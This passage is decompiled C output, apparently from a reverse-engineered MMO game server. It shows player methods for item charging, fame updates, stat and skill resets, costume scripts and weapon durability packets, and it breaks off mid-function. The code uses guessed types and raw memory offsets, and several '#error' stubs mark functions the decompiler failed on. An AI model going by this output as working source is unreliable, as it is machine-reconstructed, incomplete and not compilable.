< ((unsigned int)chargeditemcheck._bf0 & 0xFE000000)))) ) { if ( *(_BYTE *)(v12 + 10) & 1 ) { if ( bIsDelActiveFurniture == 1 ) { v23 = uii[2]; LABEL_22: ShineObjectClass::ShinePlayer::sp_DiceTaiSaiItemIDChange(v5, v12, 16, v23, v14); continue; } if ( nGameStatus ) continue; } v23 = uii[2]; goto LABEL_22; } } } } } } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ); v6 = -1; LABEL_25: --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v30 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck"); return 1; } // 4CF430: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DiceTaiSaiItemIDChange(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004D2180) -------------------------------------------------------- #error "4D2180: undefined or illegal type '#331' (funcsize=122)" //----- (004D22D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_CalcTotalStat(void *this) { int v1; // esi@1 int v2; // edi@1 v1 = *((_DWORD *)this + 1001); v2 = (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1220))(); return shineparam.scp_param.commonparam[v2]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 40))(v1)]; } //----- (004D2300) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_fail(int department, int command, __int16 errcode) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_NC_ITEMDB_fail", 0); } //----- (004D2320) -------------------------------------------------------- unsigned __int16 __cdecl WeaponCostumInitCharge(unsigned __int16 itmid) { CIDEB_Element *v1; // eax@1 ChargedItemEffect *v2; // eax@2 unsigned __int16 result; // ax@4 v1 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, itmid); if ( v1 && (v2 = v1->ce_Data) != 0 && v2->EffectEnum == 28 ) result = v2->EffectValue; else result = 0; return result; } //----- (004D2350) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::smo_ply_IsCostumCharged(int this) { return *(_DWORD *)(this + 92272) != (_DWORD)&ShineObjectClass::ShineObject::so_CostumWeaponChargeing; } // 1246F078: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (004D2370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail(void *this, int department, int command, unsigned __int16 errcode) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, int, int, _DWORD))(*(_DWORD *)v4 + 776))(v4, department, command, errcode); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail"); } //----- (004D2420) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCen(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4147; *(_DWORD *)(v2 + 2) = *((_DWORD *)v1 + 8027); *(_DWORD *)(v2 + 6) = *((_DWORD *)v1 + 8028); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeCen"); } //----- (004D2510) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeFame(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4207; *(_DWORD *)(v2 + 2) = *((_DWORD *)v1 + 8026); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeFame"); } //----- (004D25F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SaveFame(void *this) { void *v1; // esi@1 char *v2; // edi@1 ZoneBaseSession *v3; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SaveFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SaveFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4208; *(_DWORD *)(v2 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *(_DWORD *)(v2 + 6) = *((_DWORD *)v1 + 8026); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_SaveFame : Packet Too Long", 10); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SaveFame"); } //----- (004D26E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCell(void *this, int location, int cell, int exchange) { void *v4; // edi@1 char *v5; // esi@1 __int16 v6; // ax@1 int v7; // ecx@2 unsigned __int16 v8; // ax@2 int v9; // eax@3 int v10; // ebp@4 int v11; // esi@9 int v12; // eax@11 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChangeCell"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChangeCell"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x3000; *(_WORD *)gpp.pp_Buffer = v6; if ( (*(_WORD *)location & 0xFC00) == 8192 ) { *(_WORD *)v5 = v6 & 0xFC02 | 2; v5[4] = *(_BYTE *)location; v7 = cell; *((_WORD *)v5 + 1) = *(_WORD *)exchange; v8 = *(_WORD *)(cell + 8); *(_WORD *)(v5 + 5) = v8; if ( v8 == -1 ) { v9 = (int)(v5 + 7); goto LABEL_9; } v10 = (int)(v5 + 7); } else { *(_WORD *)v5 = v6 & 0xFC01 | 1; *((_WORD *)v5 + 2) = *(_WORD *)location; v7 = cell; *((_WORD *)v5 + 1) = *(_WORD *)exchange; v8 = *(_WORD *)(cell + 8); *((_WORD *)v5 + 3) = v8; if ( v8 == -1 ) { v9 = (int)(v5 + 8); goto LABEL_9; } v10 = (int)(v5 + 8); } v9 = (int)ItemTotalInformation::iti_fill2buffer_atrib( (ItemTotalInformation *)v7, *(ItemAttributeClass **)(v7 + 112), v8, (char *)v10); LABEL_9: v11 = v9 - (_DWORD)v5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v11) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ChangeCell : Packet Too Long", v11); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChangeCell"); } //----- (004D2860) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize(void *this, __int16 command, int errcommand, int slot, int itm) { void *v5; // ebx@1 int v6; // edx@1 int v7; // esi@1 void *v8; // ecx@1 int v9; // edx@1 int v10; // eax@1 char *v11; // ebp@1 int v12; // ecx@1 int v13; // eax@2 int v14; // edi@2 int v15; // ebx@2 int v16; // esi@3 int v17; // eax@3 void *v18; // ST04_4@3 ZoneBaseSession *v19; // eax@6 ITEM_INVEN inv; // [sp+18h] [bp-94h]@1 int lot; // [sp+1Ch] [bp-90h]@1 void *iac; // [sp+20h] [bp-8Ch]@1 int iic; // [sp+24h] [bp-88h]@1 FunctionEntarance _; // [sp+28h] [bp-84h]@1 char iti; // [sp+2Ch] [bp-80h]@3 char v26; // [sp+34h] [bp-78h]@3 __int16 v27; // [sp+98h] [bp-14h]@3 char v28; // [sp+9Ah] [bp-12h]@3 unsigned int v29; // [sp+9Ch] [bp-10h]@7 int v30; // [sp+A8h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *((_DWORD *)v5 + 8892); v30 = 0; v7 = (*(int (__thiscall **)(char *, int))v6)((char *)v5 + 35568, slot); v8 = *(void **)(v7 + 112); v9 = *(_DWORD *)v8; iic = v7; iac = v8; v10 = (*(int (__stdcall **)(int))(v9 + 24))(v7 + 8); v11 = gpp.pp_Buffer; lot = v10; *(_WORD *)gpp.pp_Buffer = command & 0x3FF | 0x9000; *((_WORD *)v11 + 1) = *((_WORD *)v5 + 2); *((_DWORD *)v11 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v11 + 4) = *((_WORD *)v5 + 28886); *(_DWORD *)(v11 + 10) = *(_DWORD *)v7; *(_DWORD *)(v11 + 14) = *(_DWORD *)(v7 + 4); v12 = lot; *((_WORD *)v11 + 9) = *(_WORD *)(v7 + 8); inv.Inven = slot & 0x3FF | 0x2400; if ( v12 == 1 ) { v11[20] = 1; v13 = *((_WORD *)v11 + 4); v14 = 0; v15 = (int)((char *)v5 + 57768); *(_WORD *)(v11 + 21) = 0; (*(void (__thiscall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v15 + 40))(v15, v13, v7, &inv, &inv); } else { memcpy(&iti, (const void *)v7, 0x6Cu); v16 = v7 + 108; v27 = *(_WORD *)v16; v28 = *(_BYTE *)(v16 + 2); (*(void (__thiscall **)(void *, char *, int))(*(_DWORD *)iac + 28))(iac, &v26, lot - 1); v14 = (**(int (__thiscall ***)(void *, char *, char *))iac)(iac, &v26, v11 + 23) - (_DWORD)(v11 + 23); *(_WORD *)(v11 + 21) = 21; v17 = *((_WORD *)v11 + 4); v15 = (int)((char *)v5 + 57768); v18 = (void *)iic; v11[20] = 0; (*(void (__thiscall **)(int, int, void *, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v15 + 48))( v15, v17, v18, &iti, &inv, &inv); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, v14 + 23) ) { v19 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v19); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize : Packet Too Long", v14 + 23); } ++*(_WORD *)(v15 + 4); --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize"); __security_check_cookie(v29); } //----- (004D2A90) -------------------------------------------------------- #error "4D2A90: undefined or illegal type '#331' (funcsize=74)" //----- (004D2BB0) -------------------------------------------------------- #error "4D2BB0: undefined or illegal type '#331' (funcsize=74)" //----- (004D2CD0) -------------------------------------------------------- #error "4D2CD0: undefined or illegal type '#331' (funcsize=64)" //----- (004D2DD0) -------------------------------------------------------- #error "4D2DD0: undefined or illegal type '#331' (funcsize=64)" //----- (004D2ED0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitFreeStat(void *obj) { int v1; // esi@1 CharClass *v2; // ST00_4@1 char *v3; // edi@1 int v4; // ebx@1 int v5; // ebp@1 int v6; // eax@1 int v7; // eax@3 v1 = (int)obj; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(CharClass **)(v1 + 4004); *(_BYTE *)(v1 + 32141) = 0; *(_BYTE *)(v1 + 32140) = 0; *(_BYTE *)(v1 + 32139) = 0; *(_BYTE *)(v1 + 32138) = 0; *(_BYTE *)(v1 + 32137) = 0; Parameter::Container::c_Storepure((Parameter::Container *)(v1 + 4008), v2, (#331 *)v1); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28660; v4 = *(_DWORD *)(v1 + 4004); v5 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1220))(v1); v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 40))(v4); v3[2] = LOBYTE(shineparam.scp_param.commonparam[v5]->stat[v6]) - ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat : Packet Too Long", 3); } (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v1 + 52))(v1, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitFreeStat"); } //----- (004D3010) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow(void *this) { void *v1; // esi@1 char *v2; // ebp@1 char v3; // bl@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CharaterSkillList::csl_EmpowerClear((CharaterSkillList *)v1 + 3412); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -28659; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1640))(v1); v2[2] = v3 - CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)v1 + 3412); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow : Packet Too Long", 3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"); } //----- (004D3110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult(void *this, __int16 err, __int16 skill) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18452; *((_WORD *)v4 + 2) = err; *((_WORD *)v4 + 1) = skill; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"); } //----- (004D3200) -------------------------------------------------------- #error "4D3200: undefined or illegal type '#331' (funcsize=97)" //----- (004D33A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate(void *this, unsigned __int16 equippart, int itemid, char *op) { int v4; // ebp@1 int v5; // edx@1 int v6; // eax@2 int v7; // eax@2 ItemAttributeClass *v8; // esi@4 int v9; // ST0C_4@4 CServerInfo::MY_SERVER *v10; // eax@4 char *v11; // ebp@5 char v12; // al@8 ITEM_INVEN inv; // [sp+1Ch] [bp-90h]@2 int cell; // [sp+20h] [bp-8Ch]@4 int v15; // [sp+24h] [bp-88h]@1 FunctionEntarance _; // [sp+28h] [bp-84h]@1 char iti; // [sp+2Ch] [bp-80h]@4 __int16 v18; // [sp+34h] [bp-78h]@10 unsigned int v19; // [sp+9Ch] [bp-10h]@11 int v20; // [sp+A8h] [bp-4h]@1 v4 = (int)this; v15 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)(v4 + 32200); v20 = 0; if ( equippart >= (*(int (__thiscall **)(int))(v5 + 8))(v4 + 32200) || (v6 = *(_DWORD *)v4, inv.Inven = equippart & 0x3FF | 0x2000, v7 = (*(int (__thiscall **)(int))(v6 + 1916))(v4), (unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)v7 + 8))(v7, &inv)) ) { --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); } else { cell = (**(int (__thiscall ***)(_DWORD, _DWORD))(v4 + 32200))(v4 + 32200, equippart); v8 = ItemAttributeClassContainer::operator__(&itmattcontainer, itemid); v9 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v10 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, 7, v10->nZoneNo, v9); v8->vfptr->iac_itemcreate( v8, itemid, (ItemTotalInformation *)&iti, (char *)&stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); if ( *op ) { v11 = op; do { if ( *v11 == 45 ) v8->vfptr->iac_itemcreate(v8, itemid, (ItemTotalInformation *)&iti, v11); v12 = (v11++)[1]; } while ( v12 ); v4 = v15; } v18 = itemid; ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin((void *)v4, 8, equippart, (int)&iti, cell); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); } __security_check_cookie(v19); } //----- (004D3580) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff(void *this, unsigned __int16 equippart, __int16 itemid) { void *v3; // esi@1 int v4; // edx@1 int v5; // eax@2 int v6; // eax@2 int v7; // edi@3 int v8; // eax@3 char v9; // bl@6 char result; // al@6 char v11; // bl@7 ITEM_INVEN inveninv; // [sp+10h] [bp-18h]@3 ITEM_INVEN equipinv; // [sp+14h] [bp-14h]@2 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v15; // [sp+24h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 8050); v15 = 0; if ( equippart < (*(int (__thiscall **)(char *))(v4 + 8))((char *)v3 + 32200) && (v5 = *(_DWORD *)v3, equipinv.Inven = equippart & 0x3FF | 0x2000, v6 = (*(int (__thiscall **)(void *))(v5 + 1916))(v3), !(unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)v6 + 8))(v6, &equipinv)) && (v7 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8050))( (char *)v3 + 32200, equippart), v8 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v3, itemid, (int)&inveninv), v7) && v8 ) { if ( *(_WORD *)(v7 + 8) == -1 ) { v9 = ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), v8, &inveninv); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v9; } else { v11 = ShineObjectClass::ShinePlayer::sp_DestroyNReloc(v3, v7, &equipinv, v8, &inveninv); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v11; } } else { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"); result = 0; } return result; } // 4D7490: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // 4E1CB0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyNReloc(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (004D3710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(void *this, __int16 inventype, __int16 invenslot) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12344; *((_WORD *)v4 + 1) = (inventype << 10) ^ invenslot & 0x3FF; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"); } //----- (004D3800) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 bool v5; // zf@1 char *v6; // ebp@1 int v7; // eax@6 __int16 v8; // ax@16 char v9; // al@18 int v10; // eax@19 int v11; // edi@21 CIDEB_Element *v12; // eax@24 CIDEB_Element *v13; // esi@24 int v14; // ecx@26 char v15; // al@27 int v16; // eax@28 int v17; // eax@29 int v18; // edx@29 int v19; // esi@31 ItemDataBox::ItemDataBoxIndex *v20; // eax@32 CIDEB_Element *v21; // eax@34 void *v22; // eax@36 int v23; // eax@37 int v24; // esi@39 int v25; // eax@40 ChargedItemEffect *v26; // edx@40 void *v27; // eax@42 char *v28; // edi@43 int v29; // eax@43 ItemAttributeClass *v30; // ecx@44 int v31; // eax@44 int v32; // eax@45 char v33; // al@45 ZoneBaseSession *v34; // eax@46 int v35; // eax@47 char v36; // al@51 int v37; // eax@52 char v38; // al@53 int v39; // eax@54 FunctionEntarance _; // [sp+38h] [bp-A4h]@1 ITEM_INVEN chargeiteminven; // [sp+3Ch] [bp-A0h]@42 int weaponcell; // [sp+40h] [bp-9Ch]@21 void *iac_charge; // [sp+44h] [bp-98h]@36 CIDEB_Element *chargedindex; // [sp+48h] [bp-94h]@34 int rest; // [sp+4Ch] [bp-90h]@29 CIDEB_Element *weaponindex; // [sp+50h] [bp-8Ch]@24 int chargenumber; // [sp+54h] [bp-88h]@37 int chargingcell; // [sp+58h] [bp-84h]@31 ItemTotalInformation iti; // [sp+5Ch] [bp-80h]@39 unsigned int v50; // [sp+CCh] [bp-10h]@59 int v51; // [sp+D8h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S4_6 & 1) == 0; v6 = gpp.pp_Buffer; v51 = 0; *(_WORD *)gpp.pp_Buffer = 12342; if ( v5 ) { _S4_6 |= 1u; cmc_56.cmc_AllowMode = 6; atexit(_E5_49); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_56.cmc_AllowMode) ) { *((_WORD *)v6 + 4) = 6785; goto LABEL_5; } if ( *((_BYTE *)v4 + 7416) & 4 ) { *((_WORD *)v6 + 4) = 6786; goto LABEL_9; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2780))(v4) ) { *((_WORD *)v6 + 4) = 6794; goto LABEL_5; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { *((_WORD *)v6 + 4) = 6787; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_57: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_58; } goto LABEL_10; } if ( *((_BYTE *)v4 + 69436) & 0xC ) { *((_WORD *)v6 + 4) = 6788; LABEL_9: if ( 